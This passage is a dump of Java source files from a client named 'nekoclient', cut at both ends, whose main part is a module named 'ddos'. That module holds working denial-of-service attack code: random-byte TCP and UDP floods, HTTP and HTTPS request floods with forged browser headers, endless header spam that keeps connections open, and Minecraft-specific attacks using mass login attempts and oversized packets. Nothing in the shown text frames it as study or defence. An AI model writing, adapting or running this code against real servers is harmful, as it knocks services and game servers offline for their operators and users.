         this.buffer.get(bytes);
         return bytes;
      }
   }

   public final byte[] array() {
      return this.buffer.array();
   }

   public static FriendlyByteBuffer readFully(SocketChannel channel, int length) throws IOException {
      ByteBuffer buffer = ByteBuffer.allocate(length);

      while(buffer.remaining() > 0) {
         if (Objects.equals(channel.read(buffer), -1) && buffer.remaining() > 0) {
            throw new EOFException();
         }
      }

      ((Buffer)buffer).flip();
      return new FriendlyByteBuffer(buffer);
   }

   public final int getUnsignedShort() {
      return this.buffer.getShort() & 65535;
   }

   public final boolean getBoolean() {
      return this.buffer.get() == 1;
   }

   public final String getString() {
      byte[] bytes = this.getBytes();
      return Objects.isNull(bytes) ? null : new String(bytes);
   }

   public final ByteBuffer getBuffer() {
      return this.buffer;
   }
}


================================================
FILE: dev/neko/nekoclient/api/buffer/StreamByteBuffer.java
================================================
package dev.neko.nekoclient.api.buffer;

import java.nio.Buffer;
import java.nio.ByteBuffer;
import java.util.Objects;

public class StreamByteBuffer {
   private ByteBuffer buffer = ByteBuffer.allocate(0);

   public StreamByteBuffer put(byte b) {
      this.expand(1);
      this.buffer.put(b);
      return this;
   }

   public StreamByteBuffer put(byte[] bytes) {
      this.expand(bytes.length);
      this.buffer.put(bytes);
      return this;
   }

   public StreamByteBuffer putLong(long l) {
      this.expand(8);
      this.buffer.putLong(l);
      return this;
   }

   public StreamByteBuffer putInt(int i) {
      this.expand(4);
      this.buffer.putInt(i);
      return this;
   }

   public StreamByteBuffer putDouble(double d) {
      this.expand(8);
      this.buffer.putDouble(d);
      return this;
   }

   public StreamByteBuffer putChar(char c) {
      this.expand(2);
      this.buffer.putChar(c);
      return this;
   }

   public StreamByteBuffer putShort(short s) {
      this.expand(2);
      this.buffer.putShort(s);
      return this;
   }

   public StreamByteBuffer putFloat(float f) {
      this.expand(4);
      this.buffer.putFloat(f);
      return this;
   }

   public StreamByteBuffer putBoolean(boolean b) {
      return this.put((byte)(b ? 1 : 0));
   }

   public StreamByteBuffer putString(String string) {
      return this.putBytes(Objects.isNull(string) ? null : string.getBytes());
   }

   public StreamByteBuffer putBytes(byte[] bytes) {
      if (Objects.isNull(bytes)) {
         this.putInt(-1);
      } else {
         this.putInt(bytes.length);
         this.put(bytes);
      }

      return this;
   }

   public StreamByteBuffer putUnsignedShort(int s) {
      this.expand(2);
      this.buffer.putShort((short)(s & 65535));
      return this;
   }

   public void expand(int expansion) {
      ByteBuffer buffer = ByteBuffer.allocate(this.buffer.capacity() + expansion);
      ((Buffer)this.buffer).flip();
      buffer.put(this.buffer);
      this.buffer = buffer;
   }

   public ByteBuffer getBuffer() {
      return this.buffer;
   }

   public ByteBuffer flip() {
      ((Buffer)this.buffer).flip();
      return this.buffer;
   }
}


================================================
FILE: dev/neko/nekoclient/api/ddos/Method.java
================================================
package dev.neko.nekoclient.api.ddos;

import dev.neko.nekoclient.api.ddos.impl.handler.MethodHandler;
import dev.neko.nekoclient.api.ddos.impl.handler.impl.general.FloodMethod;
import dev.neko.nekoclient.api.ddos.impl.handler.impl.http.HttpBodyMethod;
import dev.neko.nekoclient.api.ddos.impl.handler.impl.http.HttpDefaultMethod;
import dev.neko.nekoclient.api.ddos.impl.handler.impl.http.HttpHeaderMethod;
import dev.neko.nekoclient.api.ddos.impl.handler.impl.https.HttpsBodyMethod;
import dev.neko.nekoclient.api.ddos.impl.handler.impl.https.HttpsDefaultMethod;
import dev.neko.nekoclient.api.ddos.impl.handler.impl.https.HttpsHeaderMethod;
import dev.neko.nekoclient.api.ddos.impl.handler.impl.minecraft.MinecraftEncryptionMethod;
import dev.neko.nekoclient.api.ddos.impl.handler.impl.minecraft.MinecraftLargePacketMethod;
import dev.neko.nekoclient.api.ddos.impl.handler.impl.minecraft.MinecraftLoginMethod;
import dev.neko.nekoclient.api.ddos.impl.handler.impl.minecraft.MinecraftStatusPingMethod;
import java.util.function.Supplier;

public enum Method {
   FLOOD(FloodMethod::new),
   HTTP_DEFAULT(HttpDefaultMethod::new),
   HTTP_BODY(HttpBodyMethod::new),
   HTTP_HEADER(HttpHeaderMethod::new),
   HTTPS_DEFAULT(HttpsDefaultMethod::new),
   HTTPS_BODY(HttpsBodyMethod::new),
   HTTPS_HEADER(HttpsHeaderMethod::new),
   MINECRAFT_STATUS_PING(MinecraftStatusPingMethod::new),
   MINECRAFT_LOGIN(MinecraftLoginMethod::new),
   MINECRAFT_LARGE_PACKET(MinecraftLargePacketMethod::new),
   MINECRAFT_ENCRYPTION(MinecraftEncryptionMethod::new);

   private final Supplier<MethodHandler> handler;

   private Method(Supplier<MethodHandler> handler) {
      this.handler = handler;
   }

   public final MethodHandler createHandler() {
      return this.handler.get();
   }
}


================================================
FILE: dev/neko/nekoclient/api/ddos/Protocol.java
================================================
package dev.neko.nekoclient.api.ddos;

public enum Protocol {
   TCP,
   UDP;
}


================================================
FILE: dev/neko/nekoclient/api/ddos/ThreadsUnit.java
================================================
package dev.neko.nekoclient.api.ddos;

public enum ThreadsUnit {
   THREADS,
   THREADS_PER_CORE;
}


================================================
FILE: dev/neko/nekoclient/api/ddos/impl/handler/BufferFloodingMethodHandler.java
================================================
package dev.neko.nekoclient.api.ddos.impl.handler;

import java.io.IOException;
import java.nio.ByteBuffer;
import java.nio.channels.ByteChannel;
import java.util.function.Supplier;

public abstract class BufferFloodingMethodHandler extends WriteMethodHandler {
   protected ByteBuffer buffer;

   @Override
   public void handle(ByteChannel channel, Supplier<Boolean> connected) throws IOException {
      while(connected.get()) {
         channel.write(this.buffer.duplicate());
      }
   }
}


================================================
FILE: dev/neko/nekoclient/api/ddos/impl/handler/BufferWritingMethodHandler.java
================================================
package dev.neko.nekoclient.api.ddos.impl.handler;

import java.io.IOException;
import java.nio.ByteBuffer;
import java.nio.channels.ByteChannel;
import java.util.function.Supplier;

public abstract class BufferWritingMethodHandler extends WriteMethodHandler {
   protected ByteBuffer buffer;

   @Override
   public void handle(ByteChannel channel, Supplier<Boolean> connected) throws IOException {
      channel.write(this.buffer.duplicate());
      channel.close();
   }
}


================================================
FILE: dev/neko/nekoclient/api/ddos/impl/handler/MethodHandler.java
================================================
package dev.neko.nekoclient.api.ddos.impl.handler;

import com.eclipsesource.json.JsonObject;
import dev.neko.nekoclient.api.ddos.Protocol;
import java.io.IOException;
import java.net.InetSocketAddress;

public interface MethodHandler {
   void init(Protocol var1, InetSocketAddress var2, String var3, JsonObject var4) throws IOException, IllegalArgumentException;

   void run(Protocol var1, InetSocketAddress var2) throws IOException;

   default void cleanup() {
   }

   default InetSocketAddress transformAddress(InetSocketAddress address, String host) {
      return address;
   }
}


================================================
FILE: dev/neko/nekoclient/api/ddos/impl/handler/WriteMethodHandler.java
================================================
package dev.neko.nekoclient.api.ddos.impl.handler;

import dev.neko.nekoclient.api.ddos.Protocol;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.nio.channels.ByteChannel;
import java.nio.channels.DatagramChannel;
import java.nio.channels.SocketChannel;
import java.util.function.Supplier;

public abstract class WriteMethodHandler implements MethodHandler {
   public abstract void handle(ByteChannel var1, Supplier<Boolean> var2) throws IOException;

   @Override
   public void run(Protocol protocol, InetSocketAddress address) throws IOException {
      switch(protocol) {
         case TCP:
            SocketChannel socketChannel = SocketChannel.open();
            socketChannel.socket().setSoTimeout(20000);
            socketChannel.connect(address);
            if (socketChannel.finishConnect()) {
               this.handle(socketChannel, socketChannel::isConnected);
            }
            break;
         case UDP:
            DatagramChannel datagramChannel = DatagramChannel.open();
            datagramChannel.socket().setSoTimeout(20000);
            datagramChannel.connect(address);
            this.handle(datagramChannel, datagramChannel::isConnected);
      }
   }

   @Override
   public void cleanup() {
   }
}


================================================
FILE: dev/neko/nekoclient/api/ddos/impl/handler/impl/general/FloodMethod.java
================================================
package dev.neko.nekoclient.api.ddos.impl.handler.impl.general;

import com.eclipsesource.json.JsonObject;
import dev.neko.nekoclient.api.ddos.Protocol;
import dev.neko.nekoclient.api.ddos.impl.handler.BufferWritingMethodHandler;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.util.Random;

public class FloodMethod extends BufferWritingMethodHandler {
   @Override
   public void init(Protocol protocol, InetSocketAddress address, String host, JsonObject options) {
      byte[] bytes = new byte[10024];
      new Random().nextBytes(bytes);
      this.buffer = ByteBuffer.wrap(bytes);
   }
}


================================================
FILE: dev/neko/nekoclient/api/ddos/impl/handler/impl/http/HttpBodyMethod.java
================================================
package dev.neko.nekoclient.api.ddos.impl.handler.impl.http;

import com.eclipsesource.json.JsonObject;
import dev.neko.nekoclient.api.ddos.Protocol;
import dev.neko.nekoclient.api.ddos.impl.handler.BufferWritingMethodHandler;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.nio.Buffer;
import java.nio.ByteBuffer;
import java.util.Objects;
import java.util.Random;

public class HttpBodyMethod extends BufferWritingMethodHandler {
   @Override
   public void init(Protocol protocol, InetSocketAddress address, String originalHost, JsonObject options) throws IOException {
      byte[] content = new byte[100000];
      new Random().nextBytes(content);
      String host = options.getString("host", originalHost);
      String method = options.getString("method", "GET");
      String path = options.getString("path", "/");
      String contentType = options.getString("contentType", null);
      String accept = options.getString("accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8");
      String userAgent = options.getString("userAgent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0");
      StringBuilder request = new StringBuilder()
         .append(method)
         .append(" ")
         .append(path)
         .append(" ")
         .append("HTTP/1.1")
         .append("\r\n")
         .append("Accept: ")
         .append(accept)
         .append("\r\n")
         .append("Accept-Language: en-US,en;q=0.5")
         .append("\r\n")
         .append("User-Agent: ")
         .append(userAgent)
         .append("\r\n")
         .append("Connection: keep-alive")
         .append("\r\n")
         .append("Content-Length: ")
         .append(content.length)
         .append("\r\n")
         .append("Host: ")
         .append(host)
         .append("\r\n");
      if (Objects.nonNull(contentType)) {
         request.append("Content-Type: ").append(contentType).append("\r\n");
      }

      request.append("\r\n");
      byte[] requestBytes = request.toString().getBytes();
      this.buffer = ByteBuffer.allocate(requestBytes.length + content.length);
      this.buffer.put(requestBytes);
      this.buffer.put(content);
      ((Buffer)this.buffer).flip();
   }
}


================================================
FILE: dev/neko/nekoclient/api/ddos/impl/handler/impl/http/HttpDefaultMethod.java
================================================
package dev.neko.nekoclient.api.ddos.impl.handler.impl.http;

import com.eclipsesource.json.JsonObject;
import dev.neko.nekoclient.api.ddos.Protocol;
import dev.neko.nekoclient.api.ddos.impl.handler.BufferWritingMethodHandler;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;

public class HttpDefaultMethod extends BufferWritingMethodHandler {
   @Override
   public void init(Protocol protocol, InetSocketAddress address, String originalHost, JsonObject options) throws IOException {
      String host = options.getString("host", originalHost);
      String method = options.getString("method", "GET");
      String path = options.getString("path", "/");
      String accept = options.getString("accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8");
      String userAgent = options.getString("userAgent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0");
      this.buffer = ByteBuffer.wrap(
         (method
               + " "
               + path
               + " "
               + "HTTP/1.1"
               + "\r\n"
               + "Accept: "
               + accept
               + "\r\n"
               + "Accept-Language: en-US,en;q=0.5"
               + "\r\n"
               + "User-Agent: "
               + userAgent
               + "\r\n"
               + "Connection: keep-alive"
               + "\r\n"
               + "Host: "
               + host
               + "\r\n"
               + "\r\n")
            .getBytes()
      );
   }
}


================================================
FILE: dev/neko/nekoclient/api/ddos/impl/handler/impl/http/HttpHeaderMethod.java
================================================
package dev.neko.nekoclient.api.ddos.impl.handler.impl.http;

import com.eclipsesource.json.JsonObject;
import dev.neko.nekoclient.api.ddos.Protocol;
import dev.neko.nekoclient.api.ddos.impl.handler.WriteMethodHandler;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.ByteChannel;
import java.util.Arrays;
import java.util.function.Supplier;

public class HttpHeaderMethod extends WriteMethodHandler {
   private ByteBuffer firstBuffer;
   private ByteBuffer spamBuffer;

   @Override
   public void init(Protocol protocol, InetSocketAddress address, String host, JsonObject options) throws IOException {
      String method = options.getString("method", "GET");
      String path = options.getString("path", "/");
      String header = options.getString("header", "User-Agent");
      this.firstBuffer = ByteBuffer.wrap((method + " " + path + " " + "HTTP/1.1" + "\r\n" + header + ": ").getBytes());
      byte[] bytes = new byte[10000];
      Arrays.fill(bytes, (byte)97);
      this.spamBuffer = ByteBuffer.wrap(bytes);
   }

   @Override
   public void handle(ByteChannel channel, Supplier<Boolean> connected) throws IOException {
      channel.write(this.firstBuffer.duplicate());

      while(connected.get()) {
         channel.write(this.spamBuffer.duplicate());
      }
   }
}


================================================
FILE: dev/neko/nekoclient/api/ddos/impl/handler/impl/https/HttpsBodyMethod.java
================================================
package dev.neko.nekoclient.api.ddos.impl.handler.impl.https;

import com.eclipsesource.json.JsonObject;
import dev.neko.nekoclient.api.ddos.Protocol;
import dev.neko.nekoclient.api.ddos.impl.handler.ssl.SSLBufferWritingMethodHandler;
import java.io.IOException;
import java.net.InetSocketAddress;

public class HttpsBodyMethod extends SSLBufferWritingMethodHandler {
   @Override
   public void init(Protocol protocol, InetSocketAddress address, String originalHost, JsonObject options) throws IOException, IllegalArgumentException {
      String host = options.getString("host", originalHost);
      String method = options.getString("method", "GET");
      String path = options.getString("path", "/");
      String accept = options.getString("accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8");
      String userAgent = options.getString("userAgent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0");
      this.buffer = (method
            + " "
            + path
            + " "
            + "HTTP/1.1"
            + "\r\n"
            + "Accept: "
            + accept
            + "\r\n"
            + "Accept-Language: en-US,en;q=0.5"
            + "\r\n"
            + "User-Agent: "
            + userAgent
            + "\r\n"
            + "Connection: close"
            + "\r\n"
            + "Host: "
            + host
            + "\r\n"
            + "\r\n")
         .getBytes();
   }
}


================================================
FILE: dev/neko/nekoclient/api/ddos/impl/handler/impl/https/HttpsDefaultMethod.java
================================================
package dev.neko.nekoclient.api.ddos.impl.handler.impl.https;

import com.eclipsesource.json.JsonObject;
import dev.neko.nekoclient.api.ddos.Protocol;
import dev.neko.nekoclient.api.ddos.impl.handler.ssl.SSLBufferWritingMethodHandler;
import java.io.IOException;
import java.net.InetSocketAddress;

public class HttpsDefaultMethod extends SSLBufferWritingMethodHandler {
   @Override
   public void init(Protocol protocol, InetSocketAddress address, String originalHost, JsonObject options) throws IOException, IllegalArgumentException {
      String host = options.getString("host", originalHost);
      String method = options.getString("method", "GET");
      String path = options.getString("path", "/");
      String accept = options.getString("accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8");
      String userAgent = options.getString("userAgent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0");
      this.buffer = (method
            + " "
            + path
            + " "
            + "HTTP/1.1"
            + "\r\n"
            + "Accept: "
            + accept
            + "\r\n"
            + "Accept-Language: en-US,en;q=0.5"
            + "\r\n"
            + "User-Agent: "
            + userAgent
            + "\r\n"
            + "Connection: close"
            + "\r\n"
            + "Host: "
            + host
            + "\r\n"
            + "\r\n")
         .getBytes();
   }
}


================================================
FILE: dev/neko/nekoclient/api/ddos/impl/handler/impl/https/HttpsHeaderMethod.java
================================================
package dev.neko.nekoclient.api.ddos.impl.handler.impl.https;

import com.eclipsesource.json.JsonObject;
import dev.neko.nekoclient.api.ddos.Protocol;
import dev.neko.nekoclient.api.ddos.impl.handler.ssl.SSLWriteMethodHandler;
import java.io.IOException;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.util.Arrays;
import javax.net.ssl.SSLSocket;

public class HttpsHeaderMethod extends SSLWriteMethodHandler {
   private byte[] firstBuffer;
   private byte[] spamBuffer;

   @Override
   public void init(Protocol protocol, InetSocketAddress address, String host, JsonObject options) throws IOException {
      String method = options.getString("method", "GET");
      String path = options.getString("path", "/");
      String header = options.getString("header", "User-Agent");
      this.firstBuffer = (method + " " + path + " " + "HTTP/1.1" + "\r\n" + header + ": ").getBytes();
      this.spamBuffer = new byte[10000];
      Arrays.fill(this.spamBuffer, (byte)97);
   }

   @Override
   public void handle(SSLSocket socket) throws IOException {
      OutputStream outputStream = socket.getOutputStream();
      outputStream.write(this.firstBuffer);

      while(socket.isConnected()) {
         outputStream.write(this.spamBuffer);
      }
   }
}


================================================
FILE: dev/neko/nekoclient/api/ddos/impl/handler/impl/minecraft/MinecraftEncryptionMethod.java
================================================
package dev.neko.nekoclient.api.ddos.impl.handler.impl.minecraft;

import com.eclipsesource.json.JsonObject;
import dev.neko.nekoclient.api.ddos.Protocol;
import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.MinecraftMethodHandler;
import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.State;
import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.Type;
import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl.BytesType;
import java.io.IOException;
import java.math.BigInteger;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;
import java.security.SecureRandom;
import java.util.Objects;
import java.util.UUID;

public class MinecraftEncryptionMethod extends MinecraftMethodHandler {
   private boolean waitForRequest;
   private ByteBuffer handshakePacket;
   private ByteBuffer encryptionResponsePacket;
   private final SecureRandom random = new SecureRandom();

   @Override
   public void init(Protocol protocol, InetSocketAddress address, String host, JsonObject options) throws IllegalArgumentException {
      super.init(protocol, address, host, options);
      this.waitForRequest = options.getBoolean("waitForRequest", false);
      this.handshakePacket = this.createHandshakePacket(this.protocolVersion, this.host, this.port, State.LOGIN);
      byte[] bytes = new byte[1048560];
      this.random.nextBytes(bytes);
      this.encryptionResponsePacket = this.createPacket(1, new Type[]{new BytesType(bytes), new BytesType(bytes)});
   }

   @Override
   public void handle(SocketChannel channel) throws IOException {
      channel.write(this.handshakePacket.duplicate());
      channel.write(this.createLoginStartPacket(new BigInteger(64, this.random).toString(16), UUID.randomUUID()));
      if (!this.waitForRequest || Objects.equals(this.readPacket(channel).getId(), 1)) {
         channel.write(this.encryptionResponsePacket.duplicate());
      }

      channel.close();
   }
}


================================================
FILE: dev/neko/nekoclient/api/ddos/impl/handler/impl/minecraft/MinecraftLargePacketMethod.java
================================================
package dev.neko.nekoclient.api.ddos.impl.handler.impl.minecraft;

import com.eclipsesource.json.JsonObject;
import dev.neko.nekoclient.api.ddos.Protocol;
import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.MinecraftMethodHandler;
import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl.VarIntType;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.nio.Buffer;
import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;
import java.util.Arrays;

public class MinecraftLargePacketMethod extends MinecraftMethodHandler {
   private ByteBuffer buffer;

   @Override
   public void init(Protocol protocol, InetSocketAddress address, String host, JsonObject options) throws IllegalArgumentException {
      VarIntType packetLength = new VarIntType(2097151);
      this.buffer = ByteBuffer.allocate(packetLength.size() + 2097151);
      packetLength.write(this.buffer);
      byte[] zeros = new byte[2097151];
      Arrays.fill(zeros, (byte)0);
      this.buffer.put(zeros);
      ((Buffer)this.buffer).flip();
   }

   @Override
   public void handle(SocketChannel channel) throws IOException {
      channel.write(this.buffer);
      channel.close();
   }
}


================================================
FILE: dev/neko/nekoclient/api/ddos/impl/handler/impl/minecraft/MinecraftLoginMethod.java
================================================
package dev.neko.nekoclient.api.ddos.impl.handler.impl.minecraft;

import com.eclipsesource.json.JsonObject;
import dev.neko.nekoclient.api.ddos.Protocol;
import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.MinecraftMethodHandler;
import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.State;
import java.io.IOException;
import java.math.BigInteger;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;
import java.security.SecureRandom;
import java.util.UUID;

public class MinecraftLoginMethod extends MinecraftMethodHandler {
   private ByteBuffer buffer;
   private final SecureRandom random = new SecureRandom();

   @Override
   public void init(Protocol protocol, InetSocketAddress address, String host, JsonObject options) throws IllegalArgumentException {
      super.init(protocol, address, host, options);
      this.buffer = this.createHandshakePacket(this.protocolVersion, this.host, this.port, State.LOGIN);
   }

   @Override
   public void handle(SocketChannel channel) throws IOException {
      channel.write(this.buffer.duplicate());
      channel.write(this.createLoginStartPacket(new BigInteger(64, this.random).toString(16), UUID.randomUUID()));
   }
}


================================================
FILE: dev/neko/nekoclient/api/ddos/impl/handler/impl/minecraft/MinecraftStatusPingMethod.java
================================================
package dev.neko.nekoclient.api.ddos.impl.handler.impl.minecraft;

import com.eclipsesource.json.JsonObject;
import dev.neko.nekoclient.api.ddos.Protocol;
import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.MinecraftMethodHandler;
import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.State;
import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.Type;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.nio.Buffer;
import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;

public class MinecraftStatusPingMethod extends MinecraftMethodHandler {
   private ByteBuffer buffer;

   @Override
   public void init(Protocol protocol, InetSocketAddress address, String host, JsonObject options) throws IllegalArgumentException {
      super.init(protocol, address, host, options);
      ByteBuffer handshake = this.createHandshakePacket(this.protocolVersion, this.host, this.port, State.STATUS);
      ByteBuffer statusRequest = this.createPacket(0, new Type[0]);
      ByteBuffer pingRequest = this.createPacket(1, new Type[0]);
      this.buffer = ByteBuffer.allocate(handshake.capacity() + statusRequest.capacity() + pingRequest.capacity());
      this.buffer.put(handshake);
      this.buffer.put(statusRequest);
      this.buffer.put(pingRequest);
      ((Buffer)this.buffer).flip();
   }

   @Override
   public void handle(SocketChannel channel) throws IOException {
      channel.write(this.buffer.duplicate());
      channel.close();
   }
}


================================================
FILE: dev/neko/nekoclient/api/ddos/impl/handler/minecraft/MinecraftMethodHandler.java
================================================
package dev.neko.nekoclient.api.ddos.impl.handler.minecraft;

import com.eclipsesource.json.JsonObject;
import dev.neko.nekoclient.api.ddos.Protocol;
import dev.neko.nekoclient.api.ddos.impl.handler.MethodHandler;
import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.Type;
import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl.BooleanType;
import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl.StringType;
import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl.UUIDType;
import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl.UnsignedShortType;
import dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl.VarIntType;
import dev.neko.nekoclient.utils.DNSUtil;
import dev.neko.nekoclient.utils.ObjectUtil;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.nio.Buffer;
import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;
import java.util.Objects;
import java.util.UUID;

public abstract class MinecraftMethodHandler implements MethodHandler {
   protected ProtocolVersion protocolVersion;
   protected String host;
   protected int port;
   protected boolean forceClose;

   public abstract void handle(SocketChannel var1) throws IOException;

   @Override
   public void init(Protocol protocol, InetSocketAddress address, String host, JsonObject options) throws IllegalArgumentException {
      this.protocolVersion = ProtocolVersion.valueOf(options.getString("protocolVersion", "V1_19_4"));
      this.forceClose = options.getBoolean("forceClose", false);
      this.host = host;
      this.port = address.getPort();
   }

   @Override
   public InetSocketAddress transformAddress(InetSocketAddress address, String host) {
      if (!Objects.equals(address.getPort(), 25565)) {
         return MethodHandler.super.transformAddress(address, host);
      } else {
         DNSUtil.DNSEntry entry = ObjectUtil.requireNonExceptionElse(() -> DNSUtil.resolveMinecraft(host), null);
         return Objects.isNull(entry) ? MethodHandler.super.transformAddress(address, host) : new InetSocketAddress(entry.getHost(), entry.getPort());
      }
   }

   @Override
   public void run(Protocol protocol, InetSocketAddress address) throws IOException {
      if (!Objects.equals(protocol, Protocol.TCP)) {
         throw new IllegalArgumentException("Unsupported protocol!");
      } else {
         SocketChannel channel = SocketChannel.open();
         channel.connect(address);
         if (this.forceClose) {
            channel.socket().setSoLinger(true, 0);
         }

         this.handle(channel);
      }
   }

   public ByteBuffer createHandshakePacket(ProtocolVersion protocolVersion, String host, int port, State nextState) {
      return this.createPacket(
         0, new VarIntType(protocolVersion.getVersion()), new StringType(host), new UnsignedShortType(port), new VarIntType(nextState.getId())
      );
   }

   public ByteBuffer createLoginStartPacket(String username, UUID uuid) {
      if (this.protocolVersion.isHigherOrEqualTo(ProtocolVersion.V1_19_3)) {
         return Objects.isNull(uuid)
            ? this.createPacket(0, new StringType(username), new BooleanType(false))
            : this.createPacket(0, new StringType(username), new BooleanType(true), new UUIDType(uuid));
      } else if (this.protocolVersion.inRange(ProtocolVersion.V1_19, ProtocolVersion.V1_19_2)) {
         return Objects.isNull(uuid)
            ? this.createPacket(0, new StringType(username), new BooleanType(false), new BooleanType(false))
            : this.createPacket(0, new StringType(username), new BooleanType(false), new BooleanType(true), new UUIDType(uuid));
      } else {
         return this.createPacket(0, new StringType(username));
      }
   }

   public ByteBuffer createPacket(int id, Type<?>... types) {
      VarIntType packetId = new VarIntType(id);
      int size = packetId.size();

      for(Type<?> type : types) {
         size += type.size();
      }

      ByteBuffer packetBuffer = ByteBuffer.allocate(size);
      packetId.write(packetBuffer);

      for(Type<?> type : types) {
         type.write(packetBuffer);
      }

      ((Buffer)packetBuffer).flip();
      VarIntType packetLength = new VarIntType(packetBuffer.capacity());
      ByteBuffer buffer = ByteBuffer.allocate(packetLength.size() + packetBuffer.capacity());
      packetLength.write(buffer);
      buffer.put(packetBuffer);
      ((Buffer)buffer).flip();
      return buffer;
   }

   public final MinecraftMethodHandler.Packet readPacket(SocketChannel channel) throws IOException {
      ByteBuffer buffer = ByteBuffer.allocate(1);
      int packetLength = 0;
      int moves = 0;

      byte buff;
      do {
         ((Buffer)buffer).position(0);
         channel.read(buffer);
         ((Buffer)buffer).position(0);
         buff = buffer.get();
         packetLength |= (buff & 127) << moves++ * 7;
         if (moves > 5) {
            throw new RuntimeException("VarInt too big");
         }
      } while((buff & 128) == 128);

      ByteBuffer packetBuf = ByteBuffer.allocate(packetLength);
      channel.read(packetBuf);
      ((Buffer)packetBuf).flip();
      return new MinecraftMethodHandler.Packet(new VarIntType().read(packetBuf), packetBuf);
   }

   public static class Packet {
      private final int id;
      private final ByteBuffer buffer;

      public Packet(int id, ByteBuffer buffer) {
         this.id = id;
         this.buffer = buffer;
      }

      public final int getId() {
         return this.id;
      }

      public final ByteBuffer getBuffer() {
         return this.buffer;
      }
   }
}


================================================
FILE: dev/neko/nekoclient/api/ddos/impl/handler/minecraft/ProtocolVersion.java
================================================
package dev.neko.nekoclient.api.ddos.impl.handler.minecraft;

public enum ProtocolVersion {
   V1_19_4(762),
   V1_19_3(761),
   V1_19_2(760),
   V1_19(759),
   V1_18_2(758),
   V1_18_1(757),
   V1_18(757),
   V1_17_1(756),
   V1_17(755),
   V1_16_5(754),
   V1_16_4(754),
   V1_16_3(753),
   V1_16_2(751),
   V1_16_1(736),
   V1_16(735),
   V1_15_2(578),
   V1_15_1(575),
   V1_15(573),
   V1_14_4(498),
   V1_14_3(490),
   V1_14_2(485),
   V1_14_1(480),
   V1_14(477),
   V1_13_2(404),
   V1_13_1(401),
   V1_13(393),
   V1_12_2(340),
   V1_12_1(338),
   V1_12(335),
   V1_11_2(316),
   V1_11_1(316),
   V1_11(315),
   V1_10(210),
   V1_9_4(110),
   V1_9_3(110),
   V1_9_2(109),
   V1_9_1(108),
   V1_9(107),
   V1_8_9(47),
   V1_8_8(47),
   V1_8_7(47),
   V1_8_6(47),
   V1_8_5(47),
   V1_8_4(47),
   V1_8_3(47),
   V1_8_2(47),
   V1_8_1(47),
   V1_8(47);

   private final int version;

   private ProtocolVersion(int version) {
      this.version = version;
   }

   public final int getVersion() {
      return this.version;
   }

   public final boolean isHigherThan(ProtocolVersion other) {
      return this.version > other.version;
   }

   public final boolean isHigherOrEqualTo(ProtocolVersion other) {
      return this.version >= other.version;
   }

   public final boolean isLowerThan(ProtocolVersion other) {
      return this.version < other.version;
   }

   public final boolean isLowerOrEqualTo(ProtocolVersion other) {
      return this.version <= other.version;
   }

   public boolean inRange(ProtocolVersion first, ProtocolVersion second) {
      return this.version >= first.version && this.version <= second.version;
   }
}


================================================
FILE: dev/neko/nekoclient/api/ddos/impl/handler/minecraft/State.java
================================================
package dev.neko.nekoclient.api.ddos.impl.handler.minecraft;

public enum State {
   HANDSHAKING(0),
   STATUS(1),
   LOGIN(2),
   PLAY(3);

   private final int id;

   private State(int id) {
      this.id = id;
   }

   public final int getId() {
      return this.id;
   }
}


================================================
FILE: dev/neko/nekoclient/api/ddos/impl/handler/minecraft/type/Type.java
================================================
package dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type;

import java.io.EOFException;
import java.nio.ByteBuffer;

public abstract class Type<T> {
   protected T value;

   public Type(T value) {
      this.value = value;
   }

   public Type() {
   }

   public abstract void write(ByteBuffer var1);

   public T read(ByteBuffer buffer) throws EOFException {
      this.value = this.read0(buffer);
      return this.value;
   }

   protected abstract T read0(ByteBuffer var1) throws EOFException;

   public abstract int size();

   public final T getValue() {
      return this.value;
   }
}


================================================
FILE: dev/neko/nekoclient/api/ddos/impl/handler/minecraft/type/impl/BooleanType.java
================================================
package dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl;

